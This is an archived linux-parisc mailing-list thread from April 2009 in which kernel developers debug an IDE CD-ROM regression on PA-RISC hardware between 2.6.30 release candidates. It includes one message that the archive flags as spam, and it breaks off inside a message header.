More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Sat, 25 Apr 2009 13:19:08 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <49F2F1AC.7090900@gmx.de>
References: <49E6638B.8090700@gmx.de> <20090422061253.GB22451@liondog.tnic> <49EF8868.4050308@gmx.de> <200904232334.55231.bzolnier@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240658367 26394 80.91.229.12 (25 Apr 2009 11:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Apr 2009 11:19:27 +0000 (UTC)
Cc: petkovbb@gmail.com, Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 25 13:20:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lxfw3-00042B-HG
	for glpp-linux-parisc@gmane.org; Sat, 25 Apr 2009 13:20:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752847AbZDYLTP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Apr 2009 07:19:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752386AbZDYLTP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 25 Apr 2009 07:19:15 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50032 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751391AbZDYLTO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Apr 2009 07:19:14 -0400
Original-Received: (qmail invoked by alias); 25 Apr 2009 11:19:12 -0000
Original-Received: from mnhm-590e0dc0.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.13.192]
  by mail.gmx.net (mp029) with SMTP; 25 Apr 2009 13:19:12 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX182FE0DT0k2XHPmRTRWRJX8zP4BhG81BgNSv5zkpS
	symAVCrEAvC1H+
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <200904232334.55231.bzolnier@gmail.com>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1571>

Bartlomiej Zolnierkiewicz wrote:
> On Wednesday 22 April 2009 23:13:12 Helge Deller wrote:
>> Borislav Petkov wrote:
>>> On Fri, Apr 17, 2009 at 09:15:27AM +0200, Helge Deller wrote:
>>> [..]
>>>>>> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
>>>>> What do you mean by that, please elaborate?
>>>> I meant:
>>>> a) Without my patch the kernel did crash (see backtrace in original mail)
>>>> b) with my patch the kernel booted to login prompt, but I got those messages on the console:
>>>>  hda: command error: status=0x51 { DriveReady SeekComplete Error }
>>>>  hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
>>>>  ide: failed opcode was: unknown
>>>> Nevertheless, mounting a cdrom in the drive didn't suceeded with same/similiar messages, but
>>>> this could even be because of the parisc superio driver...
>>> Is it possible to isolate it and test without the superio driver?
>> No, since the superio controller provides the IDE ports.
> 
> Is 2.6.29 working ok?  What about 2.6.30-rc1 + your fix?

* 2.6.29 works perfectly.
* 2.6.30-rc3 (includes my patch) does work as well, but I see quite often those messages:
   hda: command error: status=0x51 { DriveReady SeekComplete Error }
   hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
   ide: failed opcode was: unknown
* drivers/parisc/superio.c had no (important) changes between 2.6.29 and 2.6.30-rcX
* to me it seems your changes to drivers/ide/ns87415.c have raised those problems.
* maybe you added some inb() in the new paths, which should call superio_ide_inb()
  (see to of ns87415.c) instead?
* it seems the problem happens more often in some fault-paths, for example when 
  reading a faulty disc in the cdrom drive

Best regards,
Helge



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Sat, 25 Apr 2009 16:32:59 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <200904251633.01800.bzolnier@gmail.com>
References: <49E6638B.8090700@gmx.de> <200904232334.55231.bzolnier@gmail.com> <49F2F1AC.7090900@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240669835 22087 80.91.229.12 (25 Apr 2009 14:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Apr 2009 14:30:35 +0000 (UTC)
Cc: petkovbb@gmail.com, Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 25 16:31:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lxiv0-0008BA-Ja
	for glpp-linux-parisc@gmane.org; Sat, 25 Apr 2009 16:31:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752557AbZDYOaW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Apr 2009 10:30:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752806AbZDYOaW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 25 Apr 2009 10:30:22 -0400
Original-Received: from mail-bw0-f163.google.com ([209.85.218.163]:55398 "EHLO
	mail-bw0-f163.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752557AbZDYOaV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Apr 2009 10:30:21 -0400
Original-Received: by bwz7 with SMTP id 7so1533510bwz.37
        for <linux-parisc@vger.kernel.org>; Sat, 25 Apr 2009 07:30:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=IRve6rzGPBNZWDZ+X2hsxp4eVDLIqd4tYj4CKYFz5T0=;
        b=k9LZRWfZchTFx4opNjn1BLwDg3TRDKr+ocr98BG0Wv+a0A9jTiH8LA7NZWEZLpHS4N
         4caVCYrsZ6z5rB2ZDGFdTJIimPzuWoi2O17+u+/QAxwNRAf8GM5OwvtyVPiz7nPF4y6t
         IswIaEuqEAfJ7SY/3zOhCGcf22qkkQESinppU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=MUQFNCaEAkORSYPGP/0tMmD19q4xeqb8gW+FWvqMnnppa29nBUMiPSV9y7US3wbls0
         FEYxARN/0+0jL9QpIDSSjADOJ3mRFENQv7nkWj3O1ZP+j5Mp0o8TBjvxIFwmZVwwrQ9G
         agjfw3oyYna8zQS0ilYTcbMZqLeBQPC1fn7MI=
Original-Received: by 10.103.6.18 with SMTP id j18mr2003836mui.33.1240669819987;
        Sat, 25 Apr 2009 07:30:19 -0700 (PDT)
Original-Received: from localhost.localdomain (chello089077051219.chello.pl [89.77.51.219])
        by mx.google.com with ESMTPS id 7sm1140272mup.58.2009.04.25.07.30.19
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 25 Apr 2009 07:30:19 -0700 (PDT)
User-Agent: KMail/1.11.2 (Linux/2.6.29-next-20090403; KDE/4.2.2; i686; ; )
In-Reply-To: <49F2F1AC.7090900@gmx.de>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1572>

On Saturday 25 April 2009 13:19:08 Helge Deller wrote:
> Bartlomiej Zolnierkiewicz wrote:
> > On Wednesday 22 April 2009 23:13:12 Helge Deller wrote:
> >> Borislav Petkov wrote:
> >>> On Fri, Apr 17, 2009 at 09:15:27AM +0200, Helge Deller wrote:
> >>> [..]
> >>>>>> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
> >>>>> What do you mean by that, please elaborate?
> >>>> I meant:
> >>>> a) Without my patch the kernel did crash (see backtrace in original mail)
> >>>> b) with my patch the kernel booted to login prompt, but I got those messages on the console:
> >>>>  hda: command error: status=0x51 { DriveReady SeekComplete Error }
> >>>>  hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
> >>>>  ide: failed opcode was: unknown
> >>>> Nevertheless, mounting a cdrom in the drive didn't suceeded with same/similiar messages, but
> >>>> this could even be because of the parisc superio driver...
> >>> Is it possible to isolate it and test without the superio driver?
> >> No, since the superio controller provides the IDE ports.
> > 
> > Is 2.6.29 working ok?  What about 2.6.30-rc1 + your fix?
> 
> * 2.6.29 works perfectly.
> * 2.6.30-rc3 (includes my patch) does work as well, but I see quite often those messages:
>    hda: command error: status=0x51 { DriveReady SeekComplete Error }
>    hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
>    ide: failed opcode was: unknown

That is kind of expected given your report about -rc2.  Verifying -rc1 + fix
would be useful in starting to narrow down the scope of changes to look at.

> * drivers/parisc/superio.c had no (important) changes between 2.6.29 and 2.6.30-rcX
> * to me it seems your changes to drivers/ide/ns87415.c have raised those problems.
> * maybe you added some inb() in the new paths, which should call superio_ide_inb()
>   (see to of ns87415.c) instead?

I checked this now and unfortunately it doesn't seem like it.

> * it seems the problem happens more often in some fault-paths, for example when 
>   reading a faulty disc in the cdrom drive

I think that we should start with finding out whether this is ns87415
specific regression or a more general ide-cd one.

commit a6d67ffa7dfe9515d8f2051a76b14c82b748475a ("ns87415: use custom
->dma_{start,end} to handle ns87415_prepare_drive()") looks like a good
candidate to make the distinction between potentially bad ns87415
changes and potentially bad ide-cd ones.

Thus please give commit 5ae5412d9a23b05ab08461b202bad21ad8f6b66d ("ide:
add ide_dma_prepare() helper") with your ide-cd fix applied a try.

[ You may also go ahead and do full git bisection between 2.6.29 and
  2.6.30-rc2 applying/removing your ide-cd fix for each iteration. ]

Thanks,
Bart
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gideon Christian" <benetcarlos.lucio@jackel.co.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Next generation of enhancers
Date: Sat, 25 Apr 2009 10:49:39 -0800
Lines: 7
Approved: news@gmane.org
Message-ID: <20090425104939.6010603@jackel.co.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240675530 4704 80.91.229.12 (25 Apr 2009 16:05:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Apr 2009 16:05:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 25 18:06:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LxkOr-000380-Bs
	for glpp-linux-parisc@gmane.org; Sat, 25 Apr 2009 18:06:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752157AbZDYQFR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Apr 2009 12:05:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752675AbZDYQFR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 25 Apr 2009 12:05:17 -0400
Original-Received: from localhost ([123.26.230.77]:19014 "HELO localhost"
	rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1750895AbZDYQFQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Apr 2009 12:05:16 -0400
Original-Received: from [85.203.209.190] (helo=utqyw)
	by localhost with smtp (Exim 4.62 (FreeBSD))
	id 124068196164-0001M7-4J; Sat, 25 Apr 2009 10:52:41 -0800
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 7.3 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  0.4 URIBL_AB_SURBL Contains an URL listed in the AB SURBL blocklist
 *      [URIs: savevital.com]
 *  1.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: savevital.com]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: savevital.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1573 gmane.spam.detected:4369728
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1573>

Weight problems? The solution is near. http://fkiium.savevital.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Sun, 26 Apr 2009 00:51:46 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <49F39402.1050500@gmx.de>
References: <49E6638B.8090700@gmx.de> <200904232334.55231.bzolnier@gmail.com> <49F2F1AC.7090900@gmx.de> <200904251633.01800.bzolnier@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240699942 32546 80.91.229.12 (25 Apr 2009 22:52:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Apr 2009 22:52:22 +0000 (UTC)
Cc: petkovbb@gmail.com, Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 26 00:53:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LxqkY-0000th-6f
	for glpp-linux-parisc@gmane.org; Sun, 26 Apr 2009 00:53:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752084AbZDYWwF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Apr 2009 18:52:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752106AbZDYWwF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 25 Apr 2009 18:52:05 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51110 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752084AbZDYWwE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Apr 2009 18:52:04 -0400
Original-Received: (qmail invoked by alias); 25 Apr 2009 22:51:57 -0000
Original-Received: from mnhm-590e0dc0.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.13.192]
  by mail.gmx.net (mp047) with SMTP; 26 Apr 2009 00:51:57 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19ONwguEGFOm03Cizs4K96JE4y7jEqVIEobCy+ywE
	zziBAnYPJ3HSro
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <200904251633.01800.bzolnier@gmail.com>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1574
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1574>

Hi Bart,

Bartlomiej Zolnierkiewicz wrote:
> On Saturday 25 April 2009 13:19:08 Helge Deller wrote:
>> Bartlomiej Zolnierkiewicz wrote:
>>> On Wednesday 22 April 2009 23:13:12 Helge Deller wrote:
>>>> Borislav Petkov wrote:
>>>>> On Fri, Apr 17, 2009 at 09:15:27AM +0200, Helge Deller wrote:
>>>>> [..]
>>>>>>>> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
>>>>>>> What do you mean by that, please elaborate?
>>>>>> I meant:
>>>>>> a) Without my patch the kernel did crash (see backtrace in original mail)
>>>>>> b) with my patch the kernel booted to login prompt, but I got those messages on the console:
>>>>>>  hda: command error: status=0x51 { DriveReady SeekComplete Error }
>>>>>>  hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
>>>>>>  ide: failed opcode was: unknown
>>>>>> Nevertheless, mounting a cdrom in the drive didn't suceeded with same/similiar messages, but
>>>>>> this could even be because of the parisc superio driver...
>>>>> Is it possible to isolate it and test without the superio driver?
>>>> No, since the superio controller provides the IDE ports.
>>> Is 2.6.29 working ok?  What about 2.6.30-rc1 + your fix?
>> * 2.6.29 works perfectly.
>> * 2.6.30-rc3 (includes my patch) does work as well, but I see quite often those messages:
>>    hda: command error: status=0x51 { DriveReady SeekComplete Error }
>>    hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
>>    ide: failed opcode was: unknown
> 
> That is kind of expected given your report about -rc2.  Verifying -rc1 + fix
> would be useful in starting to narrow down the scope of changes to look at.
> 
>> * drivers/parisc/superio.c had no (important) changes between 2.6.29 and 2.6.30-rcX
>> * to me it seems your changes to drivers/ide/ns87415.c have raised those problems.
>> * maybe you added some inb() in the new paths, which should call superio_ide_inb()
>>   (see to of ns87415.c) instead?
> 
> I checked this now and unfortunately it doesn't seem like it.
> 
>> * it seems the problem happens more often in some fault-paths, for example when 
>>   reading a faulty disc in the cdrom drive
> 
> I think that we should start with finding out whether this is ns87415
> specific regression or a more general ide-cd one.
> 
> commit a6d67ffa7dfe9515d8f2051a76b14c82b748475a ("ns87415: use custom
> ->dma_{start,end} to handle ns87415_prepare_drive()") looks like a good
> candidate to make the distinction between potentially bad ns87415
> changes and potentially bad ide-cd ones.

Reverting this commit still showed the errors mentioned above.

> Thus please give commit 5ae5412d9a23b05ab08461b202bad21ad8f6b66d ("ide:
> add ide_dma_prepare() helper") with your ide-cd fix applied a try.

That is a hard one. Just reverting it (with or without the other one above) prevents
me to build a kernel due to compiler errors.

Instead I tried 2.6.30-rc1 and 2.6.30-rc2 (all with my simple patch).
2.6.30-rc1 worked without problems.
2.6.30-rc2 did showed the errors.
(I should mention, that the cdrom does work even if those messages are printed).
The diff of drivers/ide/ns87415.c between those two versions seems unproblematic.
Then, after inserting "outb(ATA_DEVCTL_OBS, io_ports->ctl_addr);" to 2.6.30-rc2 didn't fixed it either.

So, I think there is some generic problems in the generic ide cdrom stack, which was
introduced between 2.6.30-rc1 and -rc2.

Hope this helps you further.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <petkovbb@googlemail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Sun, 26 Apr 2009 08:33:32 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20090426063331.GA3079@liondog.tnic>
References: <49E6638B.8090700@gmx.de> <200904232334.55231.bzolnier@gmail.com> <49F2F1AC.7090900@gmx.de> <200904251633.01800.bzolnier@gmail.com> <49F39402.1050500@gmx.de>
Reply-To: petkovbb@gmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1240740705 3393 80.91.229.12 (26 Apr 2009 10:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Apr 2009 10:11:45 +0000 (UTC)
Cc: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 26 12:09:41 2009
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LxxxC-0005NC-0n
	for glpp-linux-parisc@gmane.org; Sun, 26 Apr 2009 08:35:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751610AbZDZGdh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Apr 2009 02:33:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751288AbZDZGdh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 26 Apr 2009 02:33:37 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:35459 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751610AbZDZGdh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Apr 2009 02:33:37 -0400
Original-Received: by fxm2 with SMTP id 2so1746474fxm.37
        for <linux-parisc@vger.kernel.org>; Sat, 25 Apr 2009 23:33:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:cc
         :subject:message-id:reply-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=Q8E+yf2aZCDIZJHxqXrOG2FAH+udZ6HFyZ7gzZdYO74=;
        b=bU7GMW5vhITFNcBoSp+pfq/+VBdYnIrDCCbNrgQ8t2euZwSz5gRDawSwZwtEFPjJnI
         jIYOYW6CaqKHgmlb5F8aGcEpXUK2+UXmZgJNOZO/FBDH3zZjwyt8ZbYPFkPI91TS3H5M
         GRtTcbwQ0gQSMHWwrrCveFhfXROeA+Pbqd+GU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:reply-to:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=ZN79rmtbRF7exzjjtfW0twXOVjXA1vmH5E4zAUqx6oXJ4ib5CXnKujgaVB7aOJqk3o
         z3s7xtlCsTK3nU1q7WjsV6pTRG6pPByXmlf4l2dnd0Fix4y8a8jdXyQQgiry8kWSr1Z0
         jY0o96ps9a4E6mAk9KqF6ZTQ3CswqTHO2VkYo=
Original-Received: by 10.204.122.141 with SMTP id l13mr3881374bkr.106.1240727615111;
        Sat, 25 Apr 2009 23:33:35 -0700 (PDT)
Original-Received: from liondog.tnic (f053087116.adsl.alicedsl.de [78.53.87.116])
        by mx.google.com with ESMTPS id 21sm3774250fkx.16.2009.04.25.23.33.34
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 25 Apr 2009 23:33:34 -0700 (PDT)
Original-Received: by liondog.tnic (Postfix, from userid 1000)
	id 1AA744B959B; Sun, 26 Apr 2009 08:33:32 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49F39402.1050500@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1575
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1575>

Hi,

On Sun, Apr 26, 2009 at 12:51:46AM +0200, Helge Deller wrote:
..

> > Thus please give commit 5ae5412d9a23b05ab08461b202bad21ad8f6b66d ("ide:
> > add ide_dma_prepare() helper") with your ide-cd fix applied a try.
> 
> That is a hard one. Just reverting it (with or without the other one above) prevents
> me to build a kernel due to compiler errors.
> 
> Instead I tried 2.6.30-rc1 and 2.6.30-rc2 (all with my simple patch).
> 2.6.30-rc1 worked without problems.
> 2.6.30-rc2 did showed the errors.
> (I should mention, that the cdrom does work even if those messages are printed).
> The diff of drivers/ide/ns87415.c between those two versions seems unproblematic.
> Then, after inserting "outb(ATA_DEVCTL_OBS, io_ports->ctl_addr);" to 2.6.30-rc2 didn't fixed it either.
> 
> So, I think there is some generic problems in the generic ide cdrom stack, which was
> introduced between 2.6.30-rc1 and -rc2.
> 
> Hope this helps you further.

Not really, since I'm assuming that it is this particular hardware
confguration you have that triggers this. It would still be very helpful
if you'd bisected it since you've narrowed it down to the [30-rc1
30-rc2] interval and that isn't going to be a large number of kernel
compiles :).

Thanks.

-- 
Regards/Gruss,
    Boris.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Sun, 26 Apr 2009 11:52:14 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <200904261152.15267.bzolnier@gmail.com>
References: <49E6638B.8090700@gmx.de> <49F39402.1050500@gmx.de> <20090426063331.GA3079@liondog.tnic>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240745357 12622 80.91.229.12 (26 Apr 2009 11:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Apr 2009 11:29:17 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
